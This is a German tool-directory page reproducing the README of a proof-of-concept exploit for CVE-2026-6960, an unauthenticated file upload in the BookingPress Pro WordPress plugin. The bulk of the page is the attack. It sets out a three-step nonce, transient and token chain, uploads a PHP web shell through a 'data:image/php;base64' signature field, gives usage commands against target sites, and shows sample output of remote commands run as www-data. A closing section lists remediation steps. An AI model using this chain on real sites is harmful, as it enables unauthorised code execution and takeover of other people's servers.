Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-6960 — Proof-of-Concept-Exploit für CVE-2026-6960: nicht authentifizierter Upload beliebiger Dateien in BookingPress Pro ≤ 5.6. Automatisiert eine 3-Schritte-Kette, um per Data-URI-Injektion einen PHP-Webshell hochzuladen und Remote-Codeausführung auf verwundbaren WordPress-Sites zu erreichen. | Kitploit
Tools/GitHubGitHub/xxconi/cve-2026-6960
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubxxconi/cve-2026-6960

CVE-2026-6960

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Proof-of-Concept-Exploit für CVE-2026-6960: nicht authentifizierter Upload beliebiger Dateien in BookingPress Pro ≤ 5.6. Automatisiert eine 3-Schritte-Kette, um per Data-URI-Injektion einen PHP-Webshell hochzuladen und Remote-Codeausführung auf verwundbaren WordPress-Sites zu erreichen.

Teilen

CVE-2026-6960 — BookingPress Pro ≤ 5.6 | Nicht authentifizierter beliebiger Datei-Upload

CVE CVSS CWE Auth Version Python

Forschung von: Atomic Edge Schweregrad: Kritisch | CVSS: 9.8 | Authentifizierung erforderlich: Keine

⚠️ v2 — Technische Korrekturen angewendet basierend auf Community-Feedback. Details siehe Changelog.


Übersicht

Eine kritische Schwachstelle für nicht authentifizierten beliebigen Datei-Upload existiert im BookingPress Pro WordPress-Plugin (Versionen ≤ 5.6). Der Handler für die Buchungsübermittlung bookingpress_book_appointment_booking verarbeitet den Wert eines Signatur-Benutzerdefinierten Felds als Data-URI. Das Plugin extrahiert die Dateiendung per Regex aus dem MIME-Typ-Teil der URI und übergibt sie direkt an file_put_contents() — ohne Allowlist oder Blocklist für Dateiendungen. Dies ermöglicht es einem Angreifer, eine PHP-Web-Shell in ein über das Web erreichbares Verzeichnis zu schreiben und Remote Code Execution (RCE) zu erreichen.


Voraussetzungen

⚠️ Alle folgenden Bedingungen müssen erfüllt sein, damit die Website ausnutzbar ist:

  • ✅ Ein Signatur-Benutzerdefiniertes Feld muss vom Site-Administrator im BookingPress-Buchungsformular konfiguriert sein
  • ✅ Mindestens ein aktiver Service muss vorhanden sein (um einen gültigen Zeitslot zu generieren)
  • ✅ Eine Seite mit dem BookingPress-Buchungsformular-Widget muss öffentlich erreichbar sein

Websites mit ≤ 5.6 ohne konfiguriertes Signatur-Benutzerdefiniertes Feld sind über diesen Vektor nicht ausnutzbar.


Angriffsablauf

root@kitploit:~
1. GET  /booking-page/
     └─ Extract _wpnonce from page source

2. POST /wp-admin/admin-ajax.php  action=bookingpress_fetch_timeslot_data
     └─ Obtain server-side timeslot transient key

3. POST /wp-admin/admin-ajax.php  action=bookingpress_pre_booking_verify_details
     └─ Obtain pre-booking verification token

4. POST /wp-admin/admin-ajax.php  action=bookingpress_book_appointment_booking
     └─ bookingpress_signature_field = "data:image/php;base64,<shell>"
     └─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)

5. GET  /wp-content/uploads/bookingpress/shell.php?cmd=id
     └─ RCE confirmed

Details zur Grundursache

Der verwundbare Codepfad verarbeitet den Wert des Signaturfelds als Data-URI:

root@kitploit:~
data:image/{ext};base64,{base64_encoded_content}

BookingPress extrahiert {ext} mithilfe eines Regex-Abgleichs aus dem MIME-Typ und schreibt dann den dekodierten Inhalt mit file_put_contents() auf die Festplatte, wobei diese Endung an den Dateinamen angehängt wird — es wird keine Allowlist-Prüfung durchgeführt. Die Angabe von image/php als MIME-Typ führt dazu, dass eine .php-Datei in das Upload-Verzeichnis geschrieben wird.

Dies unterscheidet sich grundlegend von einem Standard-Multipart-Datei-Upload — die Nutzlast ist in einem JSON-Body-Feld eingebettet, nicht in einem Datei-Upload-Teil.


Anforderungen

root@kitploit:~
pip install requests

Verwendung

root@kitploit:~
# Basic — booking form on homepage, service ID 1
python3 poc.py -u https://target.com

# Booking form on a specific page
python3 poc.py -u https://target.com --booking-page /appointments/

# Custom service ID and shell filename
python3 poc.py -u https://target.com -s 3 -f evil.php

# Skip SSL verification
python3 poc.py -u https://target.com --no-verify

Argumente

Beispielausgabe

root@kitploit:~
[!] PRECONDITION: This exploit requires a signature-type custom field
    to be configured in the BookingPress booking form by the site admin.

[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd

[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4

[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8

[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}

[✓] Shell is LIVE!
    Output of 'id': uid=33(www-data) gid=33(www-data)

[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>

Behebung

  1. Validieren Sie den Data-URI-MIME-Typ anhand einer strengen Allowlist (image/png, image/jpeg, image/svg+xml), bevor Sie die Endung extrahieren
  2. Leiten Sie eine Dateiendung niemals aus vom Angreifer kontrollierter Eingabe ab — generieren Sie einen zufälligen Dateinamen mit einer fest codierten sicheren Endung
  3. Verwenden Sie für die gesamte Dateitypprüfung die native WordPress-Funktion wp_check_filetype_and_ext()
  4. Erwägen Sie, Signaturdateien außerhalb des Web-Root-Verzeichnisses zu speichern, um eine direkte Ausführung zu verhindern

→ Aktualisieren Sie umgehend auf BookingPress Pro 5.7.


Changelog

v2 (2026-05-23) — Technische Korrekturen


Haftungsausschluss

Dieses Repository ist ausschließlich für autorisierte Sicherheitsforschung und Bildungszwecke bestimmt. Verwenden Sie dieses Tool nicht gegen ein System ohne ausdrückliche schriftliche Genehmigung des Systeminhabers. Unautorisierte Nutzung kann gegen den CFAA (USA), den Criminal Code s.342.1 (Kanada), die EU-NIS2-Richtlinie und andere geltende Gesetze verstoßen. Die Autoren übernehmen keine Haftung für Missbrauch oder Schäden, die aus diesem Code entstehen.

Tool herunterladen
EigenschaftDetail
PluginBookingPress Pro (bookingpress-appointment-booking-pro)
Betroffen≤ 5.6
Behoben in5.7
VektorNetzwerk / Nicht authentifiziert
AJAX-Aktionbookingpress_book_appointment_booking
GrundursacheEndung wird aus dem vom Angreifer kontrollierten MIME-Typ in der Data-URI extrahiert → file_put_contents() ohne Allowlist
CWECWE-434: Uneingeschränkter Upload einer Datei mit gefährlichem Typ
FlagBeschreibungStandard
-u, --urlZiel-WordPress-URL(erforderlich)
-bp, --booking-pageSeitenpfad, der das BookingPress-Formular enthält/
-s, --service-idBookingPress-Service-ID1
-f, --filenameShell-Dateiname (Endung wird in den Data-URI-MIME-Typ injiziert)shell.php
--no-verifySSL-Zertifikatsprüfung deaktivierenfalse
#Problemv1 (falsch)v2 (korrigiert)
1AJAX-Aktionbookingpress_validate_submitted_booking_formbookingpress_book_appointment_booking
2Payload-MethodeMultipart-Datei-Upload mit image/pngData-URI: data:image/{ext};base64,...
3Exploit-AblaufDirekter nicht authentifizierter POST3-stufige Voraussetzungskette (Nonce → Transient → Token)
4VoraussetzungNicht dokumentiertSignatur-Benutzerdefiniertes Feld muss konfiguriert sein